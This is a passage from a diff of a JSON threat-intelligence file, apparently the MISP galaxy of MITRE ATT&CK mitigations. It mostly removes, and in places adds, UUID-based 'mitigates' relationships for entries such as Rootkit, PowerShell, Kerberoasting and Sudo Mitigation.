-12490,15 +9822,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f", "value": "Rootkit Mitigation - T1014" }, @@ -12560,20 +9884,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", "tags": [ @@ -12623,13 +9933,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", "tags": [ @@ -12637,13 +9940,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "tags": [ @@ -12693,13 +9989,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ @@ -12721,20 +10010,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", "tags": [ @@ -12844,15 +10119,7 @@ "https://attack.mitre.org/mitigations/T1170" ] }, - "related": [ - { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2", "value": "Mshta Mitigation - T1170" }, @@ -12914,13 +10181,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -12977,20 +10237,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ @@ -13033,13 +10279,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", "tags": [ @@ -13054,6 +10293,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "9664ad0e-789e-40ac-82e2-d7b17fbe8fb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ @@ -13082,13 +10328,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "tags": [ @@ -13124,13 +10363,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", "tags": [ @@ -13200,15 +10432,7 @@ "https://technet.microsoft.com/library/cc938799.aspx" ] }, - "related": [ - { - "dest-uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3", "value": "Screensaver Mitigation - T1180" }, @@ -13221,15 +10445,7 @@ "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" ] }, - "related": [ - { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae", "value": "Rundll32 Mitigation - T1085" }, @@ -13241,15 +10457,7 @@ "https://attack.mitre.org/mitigations/T1062" ] }, - "related": [ - { - "dest-uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739", "value": "Hypervisor Mitigation - T1062" }, @@ -13261,15 +10469,7 @@ "https://attack.mitre.org/mitigations/T1207" ] }, - "related": [ - { - "dest-uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "b70627f7-3b43-4c6f-8fc0-c918c41f8f72", "value": "DCShadow Mitigation - T1207" }, @@ -13324,13 +10524,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d", "tags": [ @@ -13380,13 +10573,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", "tags": [ @@ -13408,13 +10594,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ @@ -13478,20 +10657,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ @@ -13520,13 +10685,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", "tags": [ @@ -13548,27 +10706,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", "tags": [ @@ -13652,13 +10789,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "90c218c3-fbf8-4830-98a7-e8cfb7eaa485", @@ -13673,15 +10803,7 @@ "https://attack.mitre.org/mitigations/T1208" ] }, - "related": [ - { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a3e12b04-8598-4909-8855-2c97c1e7d549", "value": "Kerberoasting Mitigation - T1208" }, @@ -13715,13 +10837,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", "tags": [ @@ -13743,13 +10858,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ @@ -13788,15 +10896,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae", "value": "Masquerading Mitigation - T1036" }, @@ -13816,20 +10916,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "tags": [ @@ -13858,13 +10944,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "101c3a64-9ba5-46c9-b573-5c501053cbca", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", "tags": [ @@ -13887,14 +10966,7 @@ "type": "mitigates" }, { - "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "215190a9-9f02-4e83-bb5f-e0589965a302", + "dest-uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13914,13 +10986,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107", "tags": [ @@ -13935,13 +11000,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "tags": [ @@ -13998,13 +11056,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665", "tags": [ @@ -14012,13 +11063,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ @@ -14034,14 +11078,14 @@ "type": "mitigates" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", + "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14075,13 +11119,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6be14413-578e-46c1-8304-310762b3ecd5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", "tags": [ @@ -14089,13 +11126,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ @@ -14103,13 +11133,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ @@ -14131,13 +11154,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", "tags": [ @@ -14173,13 +11189,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -14187,20 +11196,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", "tags": [ @@ -14271,6 +11266,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "bef8aaee-961d-4359-a308-4c2182bcedff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", "tags": [ @@ -14285,13 +11287,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "tags": [ @@ -14334,13 +11329,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -14362,13 +11350,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ @@ -14487,20 +11468,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "723e3a2b-ca0d-4daa-ada8-82ea35d3733a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", "tags": [ @@ -14557,13 +11524,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", "tags": [ @@ -14578,13 +11538,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "tags": [ @@ -14592,13 +11545,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ee7ff928-801c-4f34-8a99-3df965e581a5", "tags": [ @@ -14619,13 +11565,6 @@ ] }, "related": [ - { - "dest-uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "tags": [ @@ -14661,13 +11600,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "tags": [ @@ -14696,27 +11628,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "723e3a2b-ca0d-4daa-ada8-82ea35d3733a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ @@ -14738,13 +11649,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ae7f3575-0a5e-427e-991b-fe03ad44c754", "tags": [ @@ -14787,13 +11691,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "tags": [ @@ -14821,13 +11718,6 @@ ] }, "related": [ - { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", "tags": [ @@ -14863,13 +11753,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "tags": [ @@ -14926,15 +11809,7 @@ "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" ] }, - "related": [ - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6", "value": "Scripting Mitigation - T1064" }, @@ -14948,22 +11823,7 @@ "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process" ] }, - "related": [ - { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751", "value": "Bootkit Mitigation - T1067" }, @@ -14976,15 +11836,7 @@ "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/" ] }, - "related": [ - { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2", "value": "PowerShell Mitigation - T1086" }, @@ -15001,22 +11853,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488", "value": "Timestomp Mitigation - T1099" }, @@ -15029,15 +11866,7 @@ "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" ] }, - "related": [ - { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432", "value": "Regsvr32 Mitigation - T1117" }, @@ -15049,15 +11878,7 @@ "https://attack.mitre.org/mitigations/T1118" ] }, - "related": [ - { - "dest-uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ec418d1b-4963-439f-b055-f914737ef362", "value": "InstallUtil Mitigation - T1118" }, @@ -15070,15 +11891,7 @@ "https://msitpros.com/?p=3960" ] }, - "related": [ - { - "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "91816292-3686-4a6e-83c4-4c08513b9b57", "value": "CMSTP Mitigation - T1191" }, @@ -15090,15 +11903,7 @@ "https://attack.mitre.org/mitigations/T1142" ] }, - "related": [ - { - "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a", "value": "Keychain Mitigation - T1142" }, @@ -15110,15 +11915,7 @@ "https://attack.mitre.org/mitigations/T1152" ] }, - "related": [ - { - "dest-uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", "value": "Launchctl Mitigation - T1152" }, @@ -15130,15 +11927,7 @@ "https://attack.mitre.org/mitigations/T1153" ] }, - "related": [ - { - "dest-uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a", "value": "Source Mitigation - T1153" }, @@ -15150,15 +11939,7 @@ "https://attack.mitre.org/mitigations/T1154" ] }, - "related": [ - { - "dest-uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a", "value": "Trap Mitigation - T1154" }, @@ -15171,15 +11952,7 @@ "https://attack.mitre.org/mitigations/T1148" ] }, - "related": [ - { - "dest-uuid": "086952c4-5b90-4185-b573-02bad8e11953", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330", "value": "HISTCONTROL Mitigation - T1148" }, @@ -15192,29 +11965,7 @@ "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/" ] }, - "related": [ - { - "dest-uuid": "0cfe31a7-81fc-472c-bc45-e2808d1066a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "5d8507c4-603e-4fe1-8a4a-b8241f58734b", "value": "Defacement Mitigation - T1491" }, @@ -15227,15 +11978,7 @@ "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" ] }, - "related": [ - { - "dest-uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301", "value": "AppleScript Mitigation - T1155" }, @@ -15247,15 +11990,7 @@ "https://attack.mitre.org/mitigations/T1169" ] }, - "related": [ - { - "dest-uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", "value": "Sudo Mitigation - T1169" }, @@ -15267,15 +12002,7 @@ "https://attack.mitre.org/mitigations/T1179" ] }, - "related": [ - { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf", "value": "Hooking Mitigation - T1179" }, @@ -15337,6 +12064,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "155207c0-7f53-4f13-a06b-0a9907ef5096", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "166de1c6-2814-4fe5-8438-4e80f76b169f", "tags": [ @@ -15771,6 +12505,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "d21bb61f-08ad-4dc1-b001-81ca6cb79954", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "db8f5003-3b20-48f0-9b76-123e44208120", "tags": [ @@ -15868,6 +12609,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -15876,21 +12624,7 @@ "type": "mitigates" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": 